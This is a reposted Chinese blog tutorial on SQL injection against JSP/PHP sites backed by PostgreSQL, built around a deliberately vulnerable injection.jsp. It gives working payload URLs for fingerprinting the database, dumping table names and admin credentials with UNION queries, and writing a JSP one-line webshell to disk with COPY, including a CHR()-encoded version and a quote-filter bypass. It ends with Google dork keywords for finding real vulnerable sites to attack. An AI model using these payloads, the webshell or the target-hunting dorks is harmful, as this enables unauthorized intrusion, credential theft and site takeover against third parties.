浅析postgresql数据库攻击技术


postgresql简单介绍

PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。 PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。 POSTGRES 领先的许多概念只是在非常迟的时候才出现在商业数据库中。它的功能绝对不亚于其他商业型的数据库,虽然名气没有mysql响,但它们同属开源类别

现在关于postgresql的脚本攻击知识非常匮乏,下面就跟读者一起来了解下这方面的知识。希望对读者有所帮助!

 

php+postgresql构建存在注射的脚本环境

关于php+postgresql注入攻击前,最好是搭建个测试环境,搭建环境这里不是重点,笔者不再赘述,笔者这里搭建了windows2003+tomcat+jdk+postgresql的平台!在这里为了照顾下新手朋友,笔者简单介绍下数据库以及脚本的创建,也算是对SQL语句的温习

(1)建表语句

1 CREATE DATABASE hackdata; //创建数据库hackdatacreate table lists (id serial NOT NULL,

2 --团队id,这里注意的是serial在postgresql中代表自增team_name varchar(30),--团队名字team_site varchar(50) NOT NULL,--团队名称description varchar(300) NOT NULL, --团队简介PRIMARY KEY ( id ) );insert into lists values(1,'80sec','www.80sec.com','一个新的致力于web安全研究的小团体. ');--

3 create table admins

4 (aid serial NOT NULL ,name CHAR( 10 ) NOT NULL ,--用户名password TEXT NOT NULL ,--用户密码,用MD5加密PRIMARY KEY (aid) );

5 // 插入一条记录到admin表

6 INSERT INTO admins (aid,name,password) VALUES (1 , 'blackeagle',MD5('blackeagle' ));--账号密码均为blackeagle


关于postgresql数据库的建表语句和其他SQL语句可能和其他有所不同,希望大家注意,下面我们可以通过一个union语句查看下是否成功,可以看出已经成功执行。如图1
 

 

数据库注入技术1
 

(2)创建存在注入漏洞的jsp脚本injection.jsp

<%@ page language="java" contentType="text/html;charset=gbk" import="java.io.*" import="java.util.*" import="java.sql.*"%>

 <html>

 <head>

<title>dbjsp.jsp</title>

</head>

 <body>



 <%



 Class.forName("org.postgresql.Driver").newInstance();

 String url="jdbc:postgresql://localhost/hackdata";

 String user="hack";

 String password="hack";

Connection conn=DriverManager.getConnection(url,user,password);

 Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);

 String id = request.getParameter("id");/**关键是这句,没有用PreparedStatement,就构造了我们的注入点**/



 String sql="select * from lists where id="+id;

 ResultSet rs=stmt.executeQuery(sql);

 while(rs.next()){

 %>


 <p align="center">Welcome to here !Script Boy!</p>

 <table width="50%" border="1" cellpadding="0" cellspacing="0" >

<tr>

<td width=100>ID:<%=rs.getString(1)%>

 </td>

 <td width=659>Name:<%=rs.getString(2)%>

</td>

 </tr>

 <tr><td colspan=2>Description:<%=rs.getString(4)%>

 </td>

 </tr>

 <tr>

 <td>Site: </td>

 <td><%=rs.getString(3)%></td>

 </tr></table>
 <%



}

%><%rs.close();stmt.close();conn.close();%>

</body></html>

大家掌握了之后,可以应用在mysql 以及oracle等其他环境的搭建

jsp+postgresql注入常见手法

在学习这块内容时,确保你已经对php类型的注入已经有所了解,那么就开始我们的开心之旅吧!对于数字型注入点的审查,我们可以通过and 1=1,and 1=2这种,刚才我们建立的脚本我们测试下。

http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=1的显示如图2

数据库注入技术2

数据库注入技术3
 图3

知道了注入点的存在,那么我们就要判断数据库的类型,如何判断呢?
我们来看几种方法:

首先我们想到的是,如果数据库和WEB不分离的话,那么通过服务器是否开放5432端口来判断,但是服务器如果存有防火墙,就只能从web方面入手

其次,我们知道在Oracle数据中有一个默认的dual数据表,postgresql和它类似,我们可以通过使用查询语句如select * from pg_class/select * from pg_group的返回结果来判断数据库类型,笔者这里没有试验

第三种:通过在注入点后加AND 1::int=1,它的意思是让1为int型数据,然后和数字1作比较,还是比较灵的。如图4

数据库注入技术4

图4

第四种:对于php+postgresql的数据库可以根据是否出现pg_query(): Query failed这种特征函数错误码来判断。

其他判断为postgresql类型数据库的方法还有后面提到的读取version数据!

那么跟着思路继续往下走,通常mysql和oracle注入的时候,都是通过order by查询出当前页面访问数据表的字段,然后进行union查询,postgresql是一样!(还要注意注释符的使用,笔者感觉“--”是最有效的了)有 了字段数,就可以通过union联合查询,这里的union查询和oracle注入是一样的,我们来简单看下。

笔者首先访问

http://192.168.0.7:81/PgsqlInjec ... ion%20select%20null,null,null,null-- 为什么是查询的null呢,这是为了匹配所有字段,需要和mysql区别!如图5
 

 数据库注入技术5
 图5

然后我们继续把字符型字段区分出来,实在匹配不了的话,就用null代替。

首先我们先把第一个字段加引号

http://192.168.0.7:81/PgsqlInjec ... 20union%20select%20 ‘1’,null,null,null—

如果页面正常,说明第一个字段为字符型,异常的话我们就用数字或null来代替

经测试,访问上述链接异常,那么改为数字就正常了,然后访问

http://192.168.0.7:81/PgsqlInjec ... 20union%20select%20 1,’2’,null,null—-判断第2个字段的类型

依此类推,我们得到

http://192.168.0.7:81/PgsqlInjec ... 20union%20select%20 1,’2’,’3’,’4’

就完全将我们的字段判断正确了,笔者将’2’这个地方替换为”version()”返回了postgresql的版本号,如图6

 数据库注入技术6
图6

关于获取系统的信息的一些函数,笔者列为下表:

名字 返回类型 描述
current_database() name 当前数据库的名字
current_schema() name 当前模式的名字
current_schemas(boolean) name[] 在搜索路径中的模式名字
current_user name 目前执行环境下的用户名
inet_client_addr() inet 连接的远端址
inet_client_port() int 连接的远端端口
inet_server_addr() inet 连接的本地地址
inet_server_port() int 连接的本地端口
session_user name 会话用户名
pg_postmaster_start_time() timestamp with time zone postmaster 启动的时间
user name 等于 current_user
version() text PostgreSQL 版本信息
爆账户密码

上述已经为我们获取了部分信息,下面我们来看如何获取管理员的一些账号密码,这里可能和mysql5.x的爆库思路有所相同。

我们可以构造如下语句,如图7

http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,table_name,'3','4' from information_schema.tables offset 1 limit 1-- 
 数据库注入技术7

图7

其中offset x limit y类似于mysql中的limit x,y函数,这里可以逐渐递增x的值来获取更多表的信息

http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,table_name,'3','4' from information_schema.tables offset 2 limit 1—………http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,table_name,'3','4' from information_schema.tables offset N limit 1—


这里我们获取了管理员表为admins,那么我们再来学习如何爆取敏感字段。如图8

http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,column_name,'3','4' from information_schema.columns where table_name='admins' offset 1 limit 1--
 

 数据库注入技术8
 

图8

可以看到我们爆出了一个字段为name,那我们继续递增offset的值,来获取其他字段,如图9

http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,column_name,'3','4' from information_schema.columns where table_name='admins' offset 2 limit 1--

  数据库注入技术9
 

图9

字段passowrd已经出来,猜解就很简单了,如图10

 数据库注入技术10

 图10

如果有的md5密码猜解不出来,可以继续通过offset x limit y函数爆其他管理的账号密码,笔者就不在演示了。

http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select '1',name,password,null from admins offset 0 limit 1http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select '1',name,password,null from admins offset 1 limit 1……….http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select '1',name,password,null from admins offset N limit 1


有了账号密码,至于登陆后台之事笔者不再赘述。

如何快速获取webshell

这点和mysql中的select into file很类似,但是注意的是这里是需要权限的,postgresql有一个默认的账户,类似于mysql中的root权限,像这种超级用户可以使用 copy命令,其他用户均无法使用!笔者在上述的脚本中连接postgresql用的是hack账户这是一个普通的用户,我们来看看会不会成功!

首先我们看下postgresql中获取webshell的几段代码,使用条件是已知web路径,并且用户权限为超级用户。

如何获得webshell http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1;create table fuck(shit text not null); http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1;insert into fuck values('您的木马'); /PgsqlInjection/injection.jsp?id=1;copy fuck(shit) to ’路径/webshell.jsp’;


这里假设我已经知道了网站路径为“C:\Program Files\Apache Software Foundation\Tomcat 6.0\webapps\PgsqlInjection”

首先执行create table fuck(shit text not null),注意看这里返回了500错误,很多朋友在注入的时候碰到这里就退却了,其实500错误,往往是数据建立成功的表现,如图11

 数据库注入技术11
 

图11

为什么这么说呢?假如我再重新执行一次上述语句,错误信息会提示我relation 已经存在,很显然我们建立成功了。如图12

 数据库注入技术12
 

图12

然后我们插入jsp的一句话马,假如我们像这样插入的话

http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1;insert into fuck values (<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>)


通常数据库不会插入成功的,那么我们换种方法,通过chr()函数来插入,我们将上述JSP一句话马进行转换,插入数据。

http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1;insert into fuck values(CHR(60)||CHR(37)||CHR(32)||CHR(105)||CHR(102)||CHR(40)||CHR(114)||CHR(101)||CHR(113)||CHR(117)||CHR(101)||CHR(115)||CHR(116)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(80)||CHR(97)||CHR(114)||CHR(97)||CHR(109)||CHR(101)||CHR(116)||CHR(101)||CHR(114)||CHR(40)||CHR(34)||CHR(102)||CHR(34)||CHR(41)||CHR(33)||CHR(61)||CHR(110)||CHR(117)||CHR(108)||CHR(108)||CHR(41)||CHR(40)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(105)||CHR(111)||CHR(46)||CHR(70)||CHR(105)||CHR(108)||CHR(101)||CHR(79)||CHR(117)||CHR(116)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(40)||CHR(97)||CHR(112)||CHR(112)||CHR(108)||CHR(105)||CHR(99)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(82)||CHR(101)||CHR(97)||CHR(108)||CHR(80)||CHR(97)||CHR(116)||CHR(104)||CHR(40)||CHR(34)||CHR(92)||CHR(92)||CHR(34)||CHR(41)||CHR(43)||CHR(114)||CHR(101)||CHR(113)||CHR(117)||CHR(101)||CHR(115)||CHR(116)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(80)||CHR(97)||CHR(114)||CHR(97)||CHR(109)||CHR(101)||CHR(116)||CHR(101)||CHR(114)||CHR(40)||CHR(34)||CHR(102)||CHR(34)||CHR(41)||CHR(41)||CHR(41)||CHR(46)||CHR(119)||CHR(114)||CHR(105)||CHR(116)||CHR(101)||CHR(40)||CHR(114)||CHR(101)||CHR(113)||CHR(117)||CHR(101)||CHR(115)||CHR(116)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(80)||CHR(97)||CHR(114)||CHR(97)||CHR(109)||CHR(101)||CHR(116)||CHR(101)||CHR(114)||CHR(40)||CHR(34)||CHR(116)||CHR(34)||CHR(41)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(66)||CHR(121)||CHR(116)||CHR(101)||CHR(115)||CHR(40)||CHR(41)||CHR(41)||CHR(59)||CHR(32)||CHR(37)||CHR(62)||CHR(32));--


虽然访问上述URL的时候还会报错,但是插入成功了,下面是测试时,通过Pgadmin查看到的结果。如图13

数据库注入技术13
 

图13

类似于php的一句话代码也可以进行这样的转换。下面我们就用copy命令来备份下shell

/injection.jsp?id=1;copy fuck(shit) to
’C:\\Program Files\\Apache Software Foundation\\Tomcat 6.0\\webapps\\PgsqlInjection\\shell.jsp’;

访问后提示这么一句错误:ERROR: must be superuser to COPY to or from a file,说明我们的权限不够,笔者在渗透测试中发现很多这样的站点,像php+postgresql注入中也经常出现这样的错误。如图14

数据库注入技术14

图14

但是如果说数据库连接用户用的是超级用户,很可能这里也是无法备份成功的,因为通常在安装的时候,postgresql都会要求管理员为其建立一个用户启动的普通用户,也就是我们平常说的降权,这样对于其他web目录可能就没有写权限。这要基于一定的运气成分。

对于过滤了单引号的情况(php中经常出现),那么我们可以将路径改为这种格式$$/home/wvirt/leitura.com.br/public_html/test.php$$;通常就可以绕过。

Phppgadmin

Phpmyadmin想必大家都听说过,那么phppgadmin和它类似,是postgresql的web管理程序。笔者简单介绍下它的用法。

假如我们获取了postgresql的账号密码,那么登陆后台如果获取webShell有两种思路,第一种是查看或者修改管理员密码进入网站后台获 取webshell,这里就不再讲解,第二种方式就是通过执行备份语句获取webshell。选择“模式”-“SQL码”,如图15

数据库注入技术15
 


图15

然后执行我们上边的备份语句,有的phppgadmin放在了postgresql的安装目录下,就可以执行我们的php代码了。如图16

数据库注入技术16
 

图16

如何查找目标站


大家多喜欢实践,往往这方面的站点还是很少,经笔者总结,利用谷歌构造关键词inurl:id=
intext:pg_query(): Query failed很容易就会寻到很多目标的,如果大家有什么不明白的可以到论坛找我


转载于:https://my.oschina.net/chinahermit/blog/102013

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值